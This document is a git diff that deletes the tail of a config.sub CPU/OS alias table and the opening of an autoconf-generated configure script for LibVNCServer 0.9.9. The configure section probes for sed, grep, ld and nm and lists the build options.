- ;;
- pa-hitachi)
- basic_machine=hppa1.1-hitachi
- os=-hiuxwe2
- ;;
- paragon)
- basic_machine=i860-intel
- os=-osf
- ;;
- parisc)
- basic_machine=hppa-unknown
- os=-linux
- ;;
- parisc-*)
- basic_machine=hppa-`echo $basic_machine | sed 's/^[^-]*-//'`
- os=-linux
- ;;
- pbd)
- basic_machine=sparc-tti
- ;;
- pbb)
- basic_machine=m68k-tti
- ;;
- pc532 | pc532-*)
- basic_machine=ns32k-pc532
- ;;
- pc98)
- basic_machine=i386-pc
- ;;
- pc98-*)
- basic_machine=i386-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- pentium | p5 | k5 | k6 | nexgen | viac3)
- basic_machine=i586-pc
- ;;
- pentiumpro | p6 | 6x86 | athlon | athlon_*)
- basic_machine=i686-pc
- ;;
- pentiumii | pentium2 | pentiumiii | pentium3)
- basic_machine=i686-pc
- ;;
- pentium4)
- basic_machine=i786-pc
- ;;
- pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*)
- basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- pentiumpro-* | p6-* | 6x86-* | athlon-*)
- basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*)
- basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- pentium4-*)
- basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- pn)
- basic_machine=pn-gould
- ;;
- power) basic_machine=power-ibm
- ;;
- ppc | ppcbe) basic_machine=powerpc-unknown
- ;;
- ppc-* | ppcbe-*)
- basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- ppcle | powerpclittle | ppc-le | powerpc-little)
- basic_machine=powerpcle-unknown
- ;;
- ppcle-* | powerpclittle-*)
- basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- ppc64) basic_machine=powerpc64-unknown
- ;;
- ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- ppc64le | powerpc64little | ppc64-le | powerpc64-little)
- basic_machine=powerpc64le-unknown
- ;;
- ppc64le-* | powerpc64little-*)
- basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- ps2)
- basic_machine=i386-ibm
- ;;
- pw32)
- basic_machine=i586-unknown
- os=-pw32
- ;;
- rdos)
- basic_machine=i386-pc
- os=-rdos
- ;;
- rom68k)
- basic_machine=m68k-rom68k
- os=-coff
- ;;
- rm[46]00)
- basic_machine=mips-siemens
- ;;
- rtpc | rtpc-*)
- basic_machine=romp-ibm
- ;;
- s390 | s390-*)
- basic_machine=s390-ibm
- ;;
- s390x | s390x-*)
- basic_machine=s390x-ibm
- ;;
- sa29200)
- basic_machine=a29k-amd
- os=-udi
- ;;
- sb1)
- basic_machine=mipsisa64sb1-unknown
- ;;
- sb1el)
- basic_machine=mipsisa64sb1el-unknown
- ;;
- sde)
- basic_machine=mipsisa32-sde
- os=-elf
- ;;
- sei)
- basic_machine=mips-sei
- os=-seiux
- ;;
- sequent)
- basic_machine=i386-sequent
- ;;
- sh)
- basic_machine=sh-hitachi
- os=-hms
- ;;
- sh5el)
- basic_machine=sh5le-unknown
- ;;
- sh64)
- basic_machine=sh64-unknown
- ;;
- sparclite-wrs | simso-wrs)
- basic_machine=sparclite-wrs
- os=-vxworks
- ;;
- sps7)
- basic_machine=m68k-bull
- os=-sysv2
- ;;
- spur)
- basic_machine=spur-unknown
- ;;
- st2000)
- basic_machine=m68k-tandem
- ;;
- stratus)
- basic_machine=i860-stratus
- os=-sysv4
- ;;
- strongarm-* | thumb-*)
- basic_machine=arm-`echo $basic_machine | sed 's/^[^-]*-//'`
- ;;
- sun2)
- basic_machine=m68000-sun
- ;;
- sun2os3)
- basic_machine=m68000-sun
- os=-sunos3
- ;;
- sun2os4)
- basic_machine=m68000-sun
- os=-sunos4
- ;;
- sun3os3)
- basic_machine=m68k-sun
- os=-sunos3
- ;;
- sun3os4)
- basic_machine=m68k-sun
- os=-sunos4
- ;;
- sun4os3)
- basic_machine=sparc-sun
- os=-sunos3
- ;;
- sun4os4)
- basic_machine=sparc-sun
- os=-sunos4
- ;;
- sun4sol2)
- basic_machine=sparc-sun
- os=-solaris2
- ;;
- sun3 | sun3-*)
- basic_machine=m68k-sun
- ;;
- sun4)
- basic_machine=sparc-sun
- ;;
- sun386 | sun386i | roadrunner)
- basic_machine=i386-sun
- ;;
- sv1)
- basic_machine=sv1-cray
- os=-unicos
- ;;
- symmetry)
- basic_machine=i386-sequent
- os=-dynix
- ;;
- t3e)
- basic_machine=alphaev5-cray
- os=-unicos
- ;;
- t90)
- basic_machine=t90-cray
- os=-unicos
- ;;
- tile*)
- basic_machine=$basic_machine-unknown
- os=-linux-gnu
- ;;
- tx39)
- basic_machine=mipstx39-unknown
- ;;
- tx39el)
- basic_machine=mipstx39el-unknown
- ;;
- toad1)
- basic_machine=pdp10-xkl
- os=-tops20
- ;;
- tower | tower-32)
- basic_machine=m68k-ncr
- ;;
- tpf)
- basic_machine=s390x-ibm
- os=-tpf
- ;;
- udi29k)
- basic_machine=a29k-amd
- os=-udi
- ;;
- ultra3)
- basic_machine=a29k-nyu
- os=-sym1
- ;;
- v810 | necv810)
- basic_machine=v810-nec
- os=-none
- ;;
- vaxv)
- basic_machine=vax-dec
- os=-sysv
- ;;
- vms)
- basic_machine=vax-dec
- os=-vms
- ;;
- vpp*|vx|vx-*)
- basic_machine=f301-fujitsu
- ;;
- vxworks960)
- basic_machine=i960-wrs
- os=-vxworks
- ;;
- vxworks68)
- basic_machine=m68k-wrs
- os=-vxworks
- ;;
- vxworks29k)
- basic_machine=a29k-wrs
- os=-vxworks
- ;;
- w65*)
- basic_machine=w65-wdc
- os=-none
- ;;
- w89k-*)
- basic_machine=hppa1.1-winbond
- os=-proelf
- ;;
- xbox)
- basic_machine=i686-pc
- os=-mingw32
- ;;
- xps | xps100)
- basic_machine=xps100-honeywell
- ;;
- xscale-* | xscalee[bl]-*)
- basic_machine=`echo $basic_machine | sed 's/^xscale/arm/'`
- ;;
- ymp)
- basic_machine=ymp-cray
- os=-unicos
- ;;
- z8k-*-coff)
- basic_machine=z8k-unknown
- os=-sim
- ;;
- z80-*-coff)
- basic_machine=z80-unknown
- os=-sim
- ;;
- none)
- basic_machine=none-none
- os=-none
- ;;
-
-# Here we handle the default manufacturer of certain CPU types. It is in
-# some cases the only manufacturer, in others, it is the most popular.
- w89k)
- basic_machine=hppa1.1-winbond
- ;;
- op50n)
- basic_machine=hppa1.1-oki
- ;;
- op60c)
- basic_machine=hppa1.1-oki
- ;;
- romp)
- basic_machine=romp-ibm
- ;;
- mmix)
- basic_machine=mmix-knuth
- ;;
- rs6000)
- basic_machine=rs6000-ibm
- ;;
- vax)
- basic_machine=vax-dec
- ;;
- pdp10)
- # there are many clones, so DEC is not a safe bet
- basic_machine=pdp10-unknown
- ;;
- pdp11)
- basic_machine=pdp11-dec
- ;;
- we32k)
- basic_machine=we32k-att
- ;;
- sh[1234] | sh[24]a | sh[24]aeb | sh[34]eb | sh[1234]le | sh[23]ele)
- basic_machine=sh-unknown
- ;;
- sparc | sparcv8 | sparcv9 | sparcv9b | sparcv9v)
- basic_machine=sparc-sun
- ;;
- cydra)
- basic_machine=cydra-cydrome
- ;;
- orion)
- basic_machine=orion-highlevel
- ;;
- orion105)
- basic_machine=clipper-highlevel
- ;;
- mac | mpw | mac-mpw)
- basic_machine=m68k-apple
- ;;
- pmac | pmac-mpw)
- basic_machine=powerpc-apple
- ;;
- *-unknown)
- # Make sure to match an already-canonicalized machine name.
- ;;
- *)
- echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
- exit 1
- ;;
-esac
-
-# Here we canonicalize certain aliases for manufacturers.
-case $basic_machine in
- *-digital*)
- basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'`
- ;;
- *-commodore*)
- basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'`
- ;;
- *)
- ;;
-esac
-
-# Decode manufacturer-specific aliases for certain operating systems.
-
-if [ x"$os" != x"" ]
-then
-case $os in
- # First match some system type aliases
- # that might get confused with valid system types.
- # -solaris* is a basic system type, with this one exception.
- -auroraux)
- os=-auroraux
- ;;
- -solaris1 | -solaris1.*)
- os=`echo $os | sed -e 's|solaris1|sunos4|'`
- ;;
- -solaris)
- os=-solaris2
- ;;
- -svr4*)
- os=-sysv4
- ;;
- -unixware*)
- os=-sysv4.2uw
- ;;
- -gnu/linux*)
- os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'`
- ;;
- # First accept the basic system types.
- # The portable systems comes first.
- # Each alternative MUST END IN A *, to match a version number.
- # -sysv* is not here because it comes later, after sysvr4.
- -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
- | -*vms* | -sco* | -esix* | -isc* | -aix* | -cnk* | -sunos | -sunos[34]*\
- | -hpux* | -unos* | -osf* | -luna* | -dgux* | -auroraux* | -solaris* \
- | -sym* | -kopensolaris* \
- | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \
- | -aos* | -aros* \
- | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
- | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
- | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \
- | -openbsd* | -solidbsd* \
- | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \
- | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
- | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
- | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
- | -chorusos* | -chorusrdb* | -cegcc* \
- | -cygwin* | -msys* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
- | -mingw32* | -linux-gnu* | -linux-android* \
- | -linux-newlib* | -linux-uclibc* \
- | -uxpv* | -beos* | -mpeix* | -udk* \
- | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
- | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
- | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \
- | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \
- | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \
- | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \
- | -skyos* | -haiku* | -rdos* | -toppers* | -drops* | -es*)
- # Remember, each alternative MUST END IN *, to match a version number.
- ;;
- -qnx*)
- case $basic_machine in
- x86-* | i*86-*)
- ;;
- *)
- os=-nto$os
- ;;
- esac
- ;;
- -nto-qnx*)
- ;;
- -nto*)
- os=`echo $os | sed -e 's|nto|nto-qnx|'`
- ;;
- -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \
- | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \
- | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*)
- ;;
- -mac*)
- os=`echo $os | sed -e 's|mac|macos|'`
- ;;
- -linux-dietlibc)
- os=-linux-dietlibc
- ;;
- -linux*)
- os=`echo $os | sed -e 's|linux|linux-gnu|'`
- ;;
- -sunos5*)
- os=`echo $os | sed -e 's|sunos5|solaris2|'`
- ;;
- -sunos6*)
- os=`echo $os | sed -e 's|sunos6|solaris3|'`
- ;;
- -opened*)
- os=-openedition
- ;;
- -os400*)
- os=-os400
- ;;
- -wince*)
- os=-wince
- ;;
- -osfrose*)
- os=-osfrose
- ;;
- -osf*)
- os=-osf
- ;;
- -utek*)
- os=-bsd
- ;;
- -dynix*)
- os=-bsd
- ;;
- -acis*)
- os=-aos
- ;;
- -atheos*)
- os=-atheos
- ;;
- -syllable*)
- os=-syllable
- ;;
- -386bsd)
- os=-bsd
- ;;
- -ctix* | -uts*)
- os=-sysv
- ;;
- -nova*)
- os=-rtmk-nova
- ;;
- -ns2 )
- os=-nextstep2
- ;;
- -nsk*)
- os=-nsk
- ;;
- # Preserve the version number of sinix5.
- -sinix5.*)
- os=`echo $os | sed -e 's|sinix|sysv|'`
- ;;
- -sinix*)
- os=-sysv4
- ;;
- -tpf*)
- os=-tpf
- ;;
- -triton*)
- os=-sysv3
- ;;
- -oss*)
- os=-sysv3
- ;;
- -svr4)
- os=-sysv4
- ;;
- -svr3)
- os=-sysv3
- ;;
- -sysvr4)
- os=-sysv4
- ;;
- # This must come after -sysvr4.
- -sysv*)
- ;;
- -ose*)
- os=-ose
- ;;
- -es1800*)
- os=-ose
- ;;
- -xenix)
- os=-xenix
- ;;
- -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
- os=-mint
- ;;
- -aros*)
- os=-aros
- ;;
- -kaos*)
- os=-kaos
- ;;
- -zvmoe)
- os=-zvmoe
- ;;
- -dicos*)
- os=-dicos
- ;;
- -nacl*)
- ;;
- -none)
- ;;
- *)
- # Get rid of the `-' at the beginning of $os.
- os=`echo $os | sed 's/[^-]*-//'`
- echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2
- exit 1
- ;;
-esac
-else
-
-# Here we handle the default operating systems that come with various machines.
-# The value should be what the vendor currently ships out the door with their
-# machine or put another way, the most popular os provided with the machine.
-
-# Note that if you're going to try to match "-MANUFACTURER" here (say,
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-# that MANUFACTURER isn't an operating system. Otherwise, code above
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- mep-*)
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- os=-macos
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- os=-mint
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- -vos*)
- vendor=stratus
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-
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diff --git a/configure b/configure
deleted file mode 100755
index d339d56..0000000
--- a/configure
+++ /dev/null
@@ -1,26571 +0,0 @@
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-# Guess values for system-dependent variables and create Makefiles.
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-#
-# Report bugs to <http://sourceforge.net/projects/libvncserver>.
-#
-#
-# Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
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-# gives unlimited permission to copy, distribute and modify it.
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- # is contrary to our usage. Disable this feature.
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-
-
-as_nl='
-'
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- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
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- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
- arg=$1;
- case $arg in #(
- *"$as_nl"*)
- expr "X$arg" : "X\\(.*\\)$as_nl";
- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
- esac;
- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
- '
- export as_echo_n_body
- as_echo_n='sh -c $as_echo_n_body as_echo'
- fi
- export as_echo_body
- as_echo='sh -c $as_echo_body as_echo'
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-
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- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
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-# (If _AS_PATH_WALK were called with IFS unset, it would disable word
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-IFS=" "" $as_nl"
-
-# Find who we are. Look in the path if we contain no directory separator.
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-case $0 in #((
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- *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
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- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
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-IFS=$as_save_IFS
-
- ;;
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-if test ! -f "$as_myself"; then
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- exit 1
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-PS1='$ '
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-PS4='+ '
-
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-
-# CDPATH.
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-
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- *v* ) as_opts=-v ;;
- *x* ) as_opts=-x ;;
- * ) as_opts= ;;
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-exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"}
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-$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2
-as_fn_exit 255
- fi
- # We don't want this to propagate to other subprocesses.
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- emulate sh
- NULLCMD=:
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- alias -g '\${1+\"\$@\"}'='\"\$@\"'
- setopt NO_GLOB_SUBST
-else
- case \`(set -o) 2>/dev/null\` in #(
- *posix*) :
- set -o posix ;; #(
- *) :
- ;;
-esac
-fi
-"
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-\`configure' configures LibVNCServer 0.9.9 to adapt to many kinds of systems.
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- --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no)
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- --enable-shared[=PKGS] build shared libraries [default=yes]
- --enable-static[=PKGS] build static libraries [default=yes]
- --enable-fast-install[=PKGS]
- optimize for fast installation [default=yes]
- --disable-libtool-lock avoid locking (might break parallel builds)
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-Optional Packages:
- --with-PACKAGE[=ARG] use PACKAGE [ARG=yes]
- --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no)
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- --without-filetransfer disable TightVNC file transfer protocol
- --without-websockets disable WebSockets support
- --without-24bpp disable 24 bpp framebuffers
- --with-ffmpeg=dir set ffmpeg home directory
- --without-crypt disable support for libcrypt
- --without-crypto disable support for openssl libcrypto
- --without-ssl disable support for openssl libssl
- --with-ssl=DIR use openssl include/library files in DIR
- --with-x use the X Window System
- --with-system-libvncserver use installed libvncserver for x11vnc
- --with-system-libvncserver=DIR use libvncserver installed in DIR for x11vnc
- --with-x11vnc configure for building the x11vnc subdir (if present)
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- --without-xkeyboard disable xkeyboard extension support
- --without-xinerama disable xinerama extension support
- --without-xrandr disable xrandr extension support
- --without-xfixes disable xfixes extension support
- --without-xdamage disable xdamage extension support
- --without-xtrap disable xtrap extension support
- --without-xrecord disable xrecord extension support
- --without-fbpm disable fbpm extension support
- --without-dpms disable dpms extension support
- --without-v4l disable video4linux support
- --without-fbdev disable linux fb device support
- --without-uinput disable linux uinput device support
- --without-macosx-native disable MacOS X native display support
- --without-avahi disable support for Avahi/mDNS
- --with-avahi=DIR use avahi include/library files in DIR
- --without-jpeg disable support for jpeg
- --with-jpeg=DIR use jpeg include/library files in DIR
- --without-png disable support for png
- --with-png=DIR use png include/library files in DIR
- --without-libz disable support for deflate
- --without-zlib disable support for deflate
- --with-zlib=DIR use zlib include/library files in DIR
- --without-pthread disable support for libpthread
- --with-sdl-config=FILE
- Use the given path to sdl-config when determining
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- --without-gcrypt disable support for gcrypt
- --without-client-gcrypt disable support for gcrypt in libvncclient
- --with-libgcrypt-prefix=PFX
- prefix where LIBGCRYPT is installed (optional)
- --without-gnutls disable support for gnutls
- --with-gnutls=DIR use gnutls include/library files in DIR
- --without-ipv6 disable IPv6 support
-
-Some influential environment variables:
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- CFLAGS C compiler flags
- LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a
- nonstandard directory <lib dir>
- LIBS libraries to pass to the linker, e.g. -l<library>
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- CPP C preprocessor
- CXX C++ compiler command
- CXXFLAGS C++ compiler flags
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- fi
- while true; do
- cat conftest.in conftest.in >conftest.tmp
- mv conftest.tmp conftest.in
- cp conftest.in conftest.nl
- echo >>conftest.nl
- $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break
- cmp -s conftest.out conftest.nl || break
- # 10000 chars as input seems more than enough
- test $lt_ac_count -gt 10 && break
- lt_ac_count=`expr $lt_ac_count + 1`
- if test $lt_ac_count -gt $lt_ac_max; then
- lt_ac_max=$lt_ac_count
- lt_cv_path_SED=$lt_ac_sed
- fi
- done
-done
-
-fi
-
-SED=$lt_cv_path_SED
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $SED" >&5
-$as_echo "$SED" >&6; }
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for grep that handles long lines and -e" >&5
-$as_echo_n "checking for grep that handles long lines and -e... " >&6; }
-if ${ac_cv_path_GREP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$GREP"; then
- ac_path_GREP_found=false
- # Loop through the user's path and test for each of PROGNAME-LIST
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_prog in grep ggrep; do
- for ac_exec_ext in '' $ac_executable_extensions; do
- ac_path_GREP="$as_dir/$ac_prog$ac_exec_ext"
- as_fn_executable_p "$ac_path_GREP" || continue
-# Check for GNU ac_path_GREP and select it if it is found.
- # Check for GNU $ac_path_GREP
-case `"$ac_path_GREP" --version 2>&1` in
-*GNU*)
- ac_cv_path_GREP="$ac_path_GREP" ac_path_GREP_found=:;;
-*)
- ac_count=0
- $as_echo_n 0123456789 >"conftest.in"
- while :
- do
- cat "conftest.in" "conftest.in" >"conftest.tmp"
- mv "conftest.tmp" "conftest.in"
- cp "conftest.in" "conftest.nl"
- $as_echo 'GREP' >> "conftest.nl"
- "$ac_path_GREP" -e 'GREP$' -e '-(cannot match)-' < "conftest.nl" >"conftest.out" 2>/dev/null || break
- diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break
- as_fn_arith $ac_count + 1 && ac_count=$as_val
- if test $ac_count -gt ${ac_path_GREP_max-0}; then
- # Best one so far, save it but keep looking for a better one
- ac_cv_path_GREP="$ac_path_GREP"
- ac_path_GREP_max=$ac_count
- fi
- # 10*(2^10) chars as input seems more than enough
- test $ac_count -gt 10 && break
- done
- rm -f conftest.in conftest.tmp conftest.nl conftest.out;;
-esac
-
- $ac_path_GREP_found && break 3
- done
- done
- done
-IFS=$as_save_IFS
- if test -z "$ac_cv_path_GREP"; then
- as_fn_error $? "no acceptable grep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5
- fi
-else
- ac_cv_path_GREP=$GREP
-fi
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_GREP" >&5
-$as_echo "$ac_cv_path_GREP" >&6; }
- GREP="$ac_cv_path_GREP"
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for egrep" >&5
-$as_echo_n "checking for egrep... " >&6; }
-if ${ac_cv_path_EGREP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if echo a | $GREP -E '(a|b)' >/dev/null 2>&1
- then ac_cv_path_EGREP="$GREP -E"
- else
- if test -z "$EGREP"; then
- ac_path_EGREP_found=false
- # Loop through the user's path and test for each of PROGNAME-LIST
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH$PATH_SEPARATOR/usr/xpg4/bin
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_prog in egrep; do
- for ac_exec_ext in '' $ac_executable_extensions; do
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- as_fn_executable_p "$ac_path_EGREP" || continue
-# Check for GNU ac_path_EGREP and select it if it is found.
- # Check for GNU $ac_path_EGREP
-case `"$ac_path_EGREP" --version 2>&1` in
-*GNU*)
- ac_cv_path_EGREP="$ac_path_EGREP" ac_path_EGREP_found=:;;
-*)
- ac_count=0
- $as_echo_n 0123456789 >"conftest.in"
- while :
- do
- cat "conftest.in" "conftest.in" >"conftest.tmp"
- mv "conftest.tmp" "conftest.in"
- cp "conftest.in" "conftest.nl"
- $as_echo 'EGREP' >> "conftest.nl"
- "$ac_path_EGREP" 'EGREP$' < "conftest.nl" >"conftest.out" 2>/dev/null || break
- diff "conftest.out" "conftest.nl" >/dev/null 2>&1 || break
- as_fn_arith $ac_count + 1 && ac_count=$as_val
- if test $ac_count -gt ${ac_path_EGREP_max-0}; then
- # Best one so far, save it but keep looking for a better one
- ac_cv_path_EGREP="$ac_path_EGREP"
- ac_path_EGREP_max=$ac_count
- fi
- # 10*(2^10) chars as input seems more than enough
- test $ac_count -gt 10 && break
- done
- rm -f conftest.in conftest.tmp conftest.nl conftest.out;;
-esac
-
- $ac_path_EGREP_found && break 3
- done
- done
- done
-IFS=$as_save_IFS
- if test -z "$ac_cv_path_EGREP"; then
- as_fn_error $? "no acceptable egrep could be found in $PATH$PATH_SEPARATOR/usr/xpg4/bin" "$LINENO" 5
- fi
-else
- ac_cv_path_EGREP=$EGREP
-fi
-
- fi
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_path_EGREP" >&5
-$as_echo "$ac_cv_path_EGREP" >&6; }
- EGREP="$ac_cv_path_EGREP"
-
-
-
-# Check whether --with-gnu-ld was given.
-if test "${with_gnu_ld+set}" = set; then :
- withval=$with_gnu_ld; test "$withval" = no || with_gnu_ld=yes
-else
- with_gnu_ld=no
-fi
-
-ac_prog=ld
-if test "$GCC" = yes; then
- # Check if gcc -print-prog-name=ld gives a path.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ld used by $CC" >&5
-$as_echo_n "checking for ld used by $CC... " >&6; }
- case $host in
- *-*-mingw*)
- # gcc leaves a trailing carriage return which upsets mingw
- ac_prog=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;;
- *)
- ac_prog=`($CC -print-prog-name=ld) 2>&5` ;;
- esac
- case $ac_prog in
- # Accept absolute paths.
- [\\/]* | ?:[\\/]*)
- re_direlt='/[^/][^/]*/\.\./'
- # Canonicalize the pathname of ld
- ac_prog=`echo $ac_prog| $SED 's%\\\\%/%g'`
- while echo $ac_prog | grep "$re_direlt" > /dev/null 2>&1; do
- ac_prog=`echo $ac_prog| $SED "s%$re_direlt%/%"`
- done
- test -z "$LD" && LD="$ac_prog"
- ;;
- "")
- # If it fails, then pretend we aren't using GCC.
- ac_prog=ld
- ;;
- *)
- # If it is relative, then search for the first ld in PATH.
- with_gnu_ld=unknown
- ;;
- esac
-elif test "$with_gnu_ld" = yes; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for GNU ld" >&5
-$as_echo_n "checking for GNU ld... " >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for non-GNU ld" >&5
-$as_echo_n "checking for non-GNU ld... " >&6; }
-fi
-if ${lt_cv_path_LD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -z "$LD"; then
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then
- lt_cv_path_LD="$ac_dir/$ac_prog"
- # Check to see if the program is GNU ld. I'd rather use --version,
- # but apparently some variants of GNU ld only accept -v.
- # Break only if it was the GNU/non-GNU ld that we prefer.
- case `"$lt_cv_path_LD" -v 2>&1 </dev/null` in
- *GNU* | *'with BFD'*)
- test "$with_gnu_ld" != no && break
- ;;
- *)
- test "$with_gnu_ld" != yes && break
- ;;
- esac
- fi
- done
- IFS="$lt_save_ifs"
-else
- lt_cv_path_LD="$LD" # Let the user override the test with a path.
-fi
-fi
-
-LD="$lt_cv_path_LD"
-if test -n "$LD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $LD" >&5
-$as_echo "$LD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-test -z "$LD" && as_fn_error $? "no acceptable ld found in \$PATH" "$LINENO" 5
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if the linker ($LD) is GNU ld" >&5
-$as_echo_n "checking if the linker ($LD) is GNU ld... " >&6; }
-if ${lt_cv_prog_gnu_ld+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- # I'd rather use --version here, but apparently some GNU lds only accept -v.
-case `$LD -v 2>&1 </dev/null` in
-*GNU* | *'with BFD'*)
- lt_cv_prog_gnu_ld=yes
- ;;
-*)
- lt_cv_prog_gnu_ld=no
- ;;
-esac
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_gnu_ld" >&5
-$as_echo "$lt_cv_prog_gnu_ld" >&6; }
-with_gnu_ld=$lt_cv_prog_gnu_ld
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
-$as_echo_n "checking for $LD option to reload object files... " >&6; }
-if ${lt_cv_ld_reload_flag+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_ld_reload_flag='-r'
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5
-$as_echo "$lt_cv_ld_reload_flag" >&6; }
-reload_flag=$lt_cv_ld_reload_flag
-case $reload_flag in
-"" | " "*) ;;
-*) reload_flag=" $reload_flag" ;;
-esac
-reload_cmds='$LD$reload_flag -o $output$reload_objs'
-case $host_os in
- darwin*)
- if test "$GCC" = yes; then
- reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
- else
- reload_cmds='$LD$reload_flag -o $output$reload_objs'
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for BSD-compatible nm" >&5
-$as_echo_n "checking for BSD-compatible nm... " >&6; }
-if ${lt_cv_path_NM+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$NM"; then
- # Let the user override the test.
- lt_cv_path_NM="$NM"
-else
- lt_nm_to_check="${ac_tool_prefix}nm"
- if test -n "$ac_tool_prefix" && test "$build" = "$host"; then
- lt_nm_to_check="$lt_nm_to_check nm"
- fi
- for lt_tmp_nm in $lt_nm_to_check; do
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- for ac_dir in $PATH /usr/ccs/bin/elf /usr/ccs/bin /usr/ucb /bin; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- tmp_nm="$ac_dir/$lt_tmp_nm"
- if test -f "$tmp_nm" || test -f "$tmp_nm$ac_exeext" ; then
- # Check to see if the nm accepts a BSD-compat flag.
- # Adding the `sed 1q' prevents false positives on HP-UX, which says:
- # nm: unknown option "B" ignored
- # Tru64's nm complains that /dev/null is an invalid object file
- case `"$tmp_nm" -B /dev/null 2>&1 | sed '1q'` in
- */dev/null* | *'Invalid file or object type'*)
- lt_cv_path_NM="$tmp_nm -B"
- break
- ;;
- *)
